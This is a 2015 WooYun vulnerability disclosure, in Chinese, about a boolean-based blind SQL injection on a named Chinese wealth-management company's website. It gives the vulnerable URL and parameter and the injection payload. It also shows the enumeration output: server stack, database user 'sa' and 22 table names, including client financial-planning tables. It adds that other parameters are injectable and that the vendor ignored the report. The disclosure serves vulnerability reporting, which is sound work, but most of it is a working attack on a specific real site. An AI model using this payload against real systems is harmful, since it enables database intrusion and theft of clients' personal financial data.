缺陷编号:WooYun-2015-0127856
漏洞标题:理财机构丰汇通网站存在SQL注入漏洞
相关厂商:丰汇通财富管理江苏有限公司
漏洞作者:IsTr33
提交时间:2015-07-22 13:01
公开时间:2015-09-05 13:02
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
2015-07-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-05: 厂商已经主动忽略漏洞,细节向公众公开
存在布尔型盲注。
URL
1 |
http://www.finawin.cn/Website/plan/plancase_list.aspx?casetype=1 |
Payload
1 2 3 4 |
Parameter: casetype (GET)<br> Type: boolean-based blind<br> Title: AND boolean-based blind - WHERE or HAVING clause<br> Payload: casetype=1 AND 9157=9157 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
web server operating system: Windows 2008 R2 or 7<br> web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5<br> back-end DBMS: Microsoft SQL Server 2005<br>current user: 'sa'<br>current database: 'finawinnew'Database: finawinnew<br> [22 tables]<br> +-------------------+<br> | Activity_client |<br> | Activity_company |<br> | Advice |<br> | Appointment |<br> | BGMaster |<br> | FinaplanCase |<br> | Finaplanner |<br> | HomepageBanner |<br> | Jobs |<br> | News |<br> | Qualification |<br> | Question |<br> | Stores |<br> | T_GuiHuaAssets |<br> | T_GuiHuaFamily |<br> | T_GuiHuaIncome |<br> | T_GuiHuaInsurance |<br> | T_GuiHuaQuestion |<br> | T_GuiHuaSpending |<br> | T_GuiHuaTarget |<br> | T_GuiHuaUser |<br> | Video |<br> +-------------------+ |
还有其他参数也可注入,不一一说明了。
过滤。
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)
原文连接
的情况下转载,若非则不得使用我方内容。